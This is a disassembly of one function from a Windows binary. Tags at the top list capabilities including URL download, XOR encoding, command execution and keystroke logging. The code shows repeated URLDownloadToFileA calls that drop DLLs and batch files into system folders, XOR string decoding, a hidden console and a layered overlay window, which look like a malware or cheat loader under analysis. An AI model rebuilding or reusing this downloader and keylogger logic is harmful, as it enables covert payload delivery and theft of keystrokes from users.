Function at 0x14005eb60
Capabilities:
Check if file exists
Create directory
Create thread
Download url
Encode data using xor
Execute command
Log keystrokes via polling
Receive data
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0xb10]
sub rsp, 0xc10
lea rcx, [rbp + 0x5e0]
movaps xmmword [rsp + 0xc00], xmm6
lea rcx, [rcx + 0x80]
xor r14d, r14d
lea rbx, [0x140000000]
mov qword [rsp + 0x20], r14
movups xmm0, xmmword [rbx + 0x1783d0]
lea rax, [rbx + 0x1783d0]
xor r9d, r9d
movups xmm1, xmmword [rax + 0x10]
lea r8, [rbp + 0x10]
movups xmmword [rcx - 0x80], xmm0
lea rdx, [rbp + 0x5e0]
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax + 0x80]
movups xmmword [rcx - 0x20], xmm0
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm0
movups xmm0, xmmword [rax + 0x90]
movups xmmword [rcx], xmm1
movups xmm1, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rax + 0xb0]
mov eax, dword [rax + 0xc0]
movups xmmword [rcx + 0x20], xmm1
movups xmm1, xmmword [0x1401782d0]
movups xmmword [rcx + 0x30], xmm0
mov dword [rcx + 0x40], eax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTemp1152743123047419974.wav]
movups xmmword [rbp + 0x20], xmm1
movups xmmword [rbp + 0x10], xmm0
movsd xmm0, qword [0x1401782e0]
movsd qword [rbp + 0x30], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.resume_internet.bat]
mov eax, dword [0x140178cb8]
lea r8, [rbp + 0x10]
movups xmm1, xmmword [0x140178cd0]
mov dword [rbp - 8], eax
xor r9d, r9d
movzx eax, byte [0x140178ce0]
lea rdx, [rbp - 0x18]
movups xmmword [rbp - 0x18], xmm0
xor ecx, ecx
mov byte [rbp + 0x30], al
movups xmm0, xmmword [str.C:WindowsTemp_resume_internet.bat]
mov qword [rsp + 0x20], r14
movups xmmword [rbp + 0x20], xmm1
movups xmmword [rbp + 0x10], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.block_internet.bat]
movzx eax, word [0x140178cf8]
lea r8, [rbp + 0x10]
movups xmm1, xmmword [0x140178d10]
mov word [rbp + 0xe0], ax
xor r9d, r9d
movzx eax, byte [0x140178cfa]
lea rdx, [rbp + 0xd0]
movups xmmword [rbp + 0xd0], xmm0
xor ecx, ecx
mov byte [rbp + 0xe2], al
movups xmm0, xmmword [str.C:WindowsTemp_block_internet.bat]
mov qword [rsp + 0x20], r14
movups xmmword [rbp + 0x20], xmm1
movups xmmword [rbp + 0x10], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1783d0]
lea rax, [rbx + 0x1783d0]
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x5e0]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
xor r9d, r9d
lea r8, [rbp + 0x10]
movups xmmword [rcx + 0x10], xmm1
lea rdx, [rbp + 0x5e0]
mov qword [rsp + 0x20], r14
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx - 0x10], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0xb0]
mov eax, dword [rax + 0xc0]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [str.C:WindowsTemp1152743123047419974.wav]
movups xmmword [rcx + 0x30], xmm1
mov dword [rcx + 0x40], eax
xor ecx, ecx
movups xmm1, xmmword [0x1401782d0]
movups xmmword [rbp + 0x10], xmm0
movsd xmm0, qword [0x1401782e0]
movups xmmword [rbp + 0x20], xmm1
movsd qword [rbp + 0x30], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x178d20]
lea rcx, [rbx + 0x178d20]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x5e0]
movups xmmword [rdx], xmm0
lea r8, [rbp - 0x40]
mov qword [rsp + 0x20], r14
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempgcapi.dll]
mov word [rdx + 0x34], ax
lea rdx, [rbp + 0x5e0]
movzx eax, word [0x140178df0]
movups xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x28], ax
movsd xmm0, qword [0x140178de8]
movsd qword [rbp - 0x30], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x178e00]
lea rcx, [rbx + 0x178e00]
lea rdx, [rbp + 0x5e0]
movups xmmword [rdx], xmm0
mov rax, qword [rcx + 0xb0]
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x10]
xor r9d, r9d
lea r8, [rbp - 0x40]
movups xmm0, xmmword [rcx + 0x20]
mov qword [rsp + 0x20], r14
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempmaxvera3d.dll]
mov byte [rdx + 0x38], al
lea rdx, [rbp + 0x5e0]
mov eax, dword [0x140178ed8]
mov dword [rbp - 0x28], eax
movzx eax, word [0x140178edc]
movups xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x24], ax
movsd xmm0, qword [0x140178ed0]
movsd qword [rbp - 0x30], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x178ee0]
lea rcx, [rbx + 0x178ee0]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x5e0]
movups xmmword [rdx], xmm0
lea r8, [rbp - 0x40]
mov qword [rsp + 0x20], r14
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTemp_boxZ.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0x5e0]
movzx eax, byte [0x140178fb0]
movups xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x28], al
movsd xmm0, qword [0x140178fa8]
movsd qword [rbp - 0x30], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movsd xmm0, qword [str.blanca.dll]
movzx eax, word [0x140178fc0]
lea r8, [rbp + 0x10]
movups xmm1, xmmword [0x140178fd8]
lea rdx, [rbp + 0x68]
mov word [rbp + 0x70], ax
movsd qword [rbp + 0x68], xmm0
xor r9d, r9d
movups xmm0, xmmword [str.C:Program_FilesGoogle_blanca.dll]
movzx eax, byte [0x140178fc2]
xor ecx, ecx
mov byte [rbp + 0x72], al
movups xmmword [rbp + 0x10], xmm0
mov qword [rsp + 0x20], r14
movups xmmword [rbp + 0x20], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x1400579f0]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.140057780
mov byte [rsp + 0x60], r14b
lea rcx, [rsp + 0x60]
test al, al
jne 0x14005f267
lea rdx, [rbp - 0x40]
call fcn.1400692c0
mov esi, dword [reloc.WS2_32.dll_accept]
mov r10, rax
cmp byte [rax + 0x1c], r14b
je 0x14005f251
mov r8d, r14d
cmp esi, 2
jl 0x14005f217
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x14005f110
cmp r8d, 0x1d
jge 0x14005f251
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x14005f220
xor r9d, r9d
xor r8d, r8d
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14005f40c
lea rdx, [rbp + 0xd0]
call fcn.1400692f0
mov esi, dword [reloc.WS2_32.dll_accept]
mov r10, rax
cmp byte [rax + 0x10], r14b
je 0x14005f401
mov r8d, r14d
cmp esi, 2
jl 0x14005f3c7
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x14005f2c0
cmp r8d, 0x11
jge 0x14005f401
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14005f3d0
xor edx, edx
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov qword [rsp + 0x28], r14
lea r8, [0x14006a3d0]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x14006aa90]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140057e40]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [0x14006a190]
mov dword [rbp + 0x190], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x198], rax
xor ecx, ecx
mov dword [rbp + 0x194], 0x40
mov qword [rbp + 0x1a0], r14
mov qword [rbp + 0x1a8], r14
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x1b0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea rdx, [rbp - 0x40]
mov qword [rbp + 0x1c0], r14
lea rcx, [rsp + 0x60]
mov qword [rbp + 0x1b8], rax
mov byte [rsp + 0x60], r14b
call fcn.140069310
mov r10, rax
cmp word [rax + 0x16], r14w
je 0x14005f615
mov r8d, r14d
cmp esi, 2
jl 0x14005f5d0
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rax]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
paddw xmm2, xmmword [0x14017aa80]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movq qword [rax], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rax + 8]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x14017aa80]
xorps xmm2, xmm0
movq qword [rax + 8], xmm2
movsxd rax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x34
xor word [r9 - 2], ax
cmp r8d, 0xc
jl 0x14005f5e0
lea rdx, [rbp + 0x208]
mov qword [rbp + 0x1c8], r10
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], r14b
call fcn.140069330
movzx ecx, word [rax + 0xc]
test cx, cx
je 0x14005f660
xor word [rax], 0x34
xor word [rax + 2], 0x35
xor word [rax + 4], 0x36
xor word [rax + 6], 0x37
xor word [rax + 8], 0x38
xor word [rax + 0xa], 0x39
xor cx, 0x3a
mov word [rax + 0xc], cx
mov edx, 0x7f00
mov qword [rbp + 0x1d0], rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x190]
mov qword [rbp + 0x1d8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r15d, 1
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0xfa]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], r14b
cdq
sub eax, edx
lea rdx, [rbp - 0x40]
sar eax, 1
lea edi, [rax - 0x16d]
call fcn.140069310
mov r10, rax
cmp word [rax + 0x16], r14w
je 0x14005f805
mov r8d, r14d
cmp esi, 2
jl 0x14005f7c8
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm6, xmmword [0x14017aa80]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rax]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movdqa xmm2, xmmword [0x14017aa30]
xorps xmm3, xmm0
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
movq qword [rax], xmm3
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rax + 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movsxd rax, r8d
lea r9, [r10 + rax*2]
nop
mov eax, 0x51eb851f
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x34
xor word [r9 - 2], ax
cmp r8d, 0xc
jl 0x14005f7d0
mov rdx, qword [rbp + 0x1d0]
mov r9d, 0x80880000
mov qword [rsp + 0x58], r14
mov r8, r10
mov qword [rsp + 0x50], r14
xor ecx, ecx
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], 0x1f4
mov dword [rsp + 0x30], 0x2da
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], edi
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x1401c1240], rax
mov edx, 0xffffffec
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov rcx, qword [0x1401c1240]
mov edx, 0xffffffec
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x1401c1240]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x14017a980]
lea rdx, [rbp + 0x560]
mov rcx, qword [0x1401c1240]
movdqu xmmword [rbp + 0x560], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1401c1240]
lea rdx, [rbp + 0x128]
xorps xmm0, xmm0
movups xmmword [rbp + 0x128], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1401c1240]
call fcn.140069f80
test al, al
jne 0x14005f902
call fcn.14006a110
mov rdx, qword [rbp + 0x1a8]
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r15d
jmp 0x140069254
mov qword [rsp + 0xc40], r12
mov qword [rsp + 0xc48], r13
movaps xmmword [rsp + 0xbf0], xmm7
movaps xmmword [rsp + 0xbe0], xmm8
movaps xmmword [rsp + 0xbd0], xmm9
movaps xmmword [rsp + 0xbc0], xmm10
movaps xmmword [rsp + 0xbb0], xmm11
movaps xmmword [rsp + 0xba0], xmm12
movaps xmmword [rsp + 0xb90], xmm13
movaps xmmword [rsp + 0xb80], xmm14
movaps xmmword [rsp + 0xb70], xmm15
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
cmp rbx, 0xffffffffffffffff
je 0x14005fa2f
cmp rax, 0xffffffffffffffff
je 0x14005fa2f
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rbx
lea r8, [0x140178fe8]
mov rcx, rax
lea rdx, str.CONIN_
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
mov ecx, r15d
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, r15d
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rbx
lea r8, [0x140178ff4]
mov rcx, rax
lea rdx, str.CONOUT_
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rbx
lea r8, [0x140178ff4]
mov rcx, rax
lea rdx, str.CONOUT_
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
mov qword [rsp + 0x30], 2
lea rcx, str.1.89.3
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x37b8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x448
call fcn.140016490
xor ecx, ecx
call fcn.1400065d0
call fcn.140008580
lea rcx, [rbp + 0x9e0]
mov rdi, rax
call fcn.1400287a0
mov dword [rbp + 0xa2c], 0x10c
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002bc60
movss xmm3, dword [0x14017a814]
lea rdx, [0x140194110]
mov qword [rsp + 0x28], rax
mov r8d, 0x29e1c
lea rax, [rbp + 0x9e0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400292a0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002bc60
movss xmm3, dword [0x14017a81c]
lea rdx, [0x1401bdf30]
mov qword [rsp + 0x28], rax
mov r8d, 0xe9c
lea rax, [rbp + 0x9e0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400292a0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1401c1230], rax
call fcn.14002bc60
movss xmm3, dword [0x14017a810]
lea rdx, [0x1401bdf30]
mov qword [rsp + 0x28], rax
mov r8d, 0xe9c
lea rax, [rbp + 0x9e0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400292a0
xor ecx, ecx
call fcn.140021c00
mov rcx, qword [0x1401c1240]
call fcn.14004a850
mov rdx, qword [0x1401f6db0]
mov rcx, qword [0x1401f6d68]
call fcn.14004a590
movss xmm2, dword [0x14019410c]
lea rcx, [rbp + 0xa0]
movss xmm1, dword [0x140194108]
call fcn.140001850
mov rcx, rax
xor edx, edx
call fcn.1400133f0
movss xmm14, dword [0x14017a75c]
lea rcx, [rbp + 0x930]
movss xmm3, dword [0x14017a728]
movss xmm2, dword [0x14017a724]
movss xmm1, dword [0x14017a718]
movss dword [rsp + 0x20], xmm14
call fcn.140001860
movzx edi, byte [rsp + 0x61]
xor al, al
movzx esi, byte [rsp + 0x61]
movzx r14d, byte [rsp + 0x61]
movzx r15d, byte [rsp + 0x61]
movzx r12d, byte [rsp + 0x61]
movzx r13d, byte [rsp + 0x60]
movzx ebx, byte [rsp + 0x60]
movss xmm6, dword [0x14017a7dc]
movss xmm8, dword [0x14017a720]
mov dword [rbp + 8], eax
movss xmm12, dword [0x14017a944]
xorps xmm9, xmm9
movss xmm7, dword [0x14017a808]
movss xmm10, dword [0x14017a770]
movss xmm15, dword [0x14017a848]
movss xmm13, dword [0x14017a850]
movss xmm11, dword [0x14017a83c]
nop word [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x6e8]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14005fccd
mov ebx, dword [rbp + 8]
mov r13d, 1
nop word [rax + rax]
lea rcx, [rbp + 0x6e8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x6e8]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x6f0], 0x12
lea rcx, [rbp + 0x6e8]
movzx ebx, bl
cmove ebx, r13d
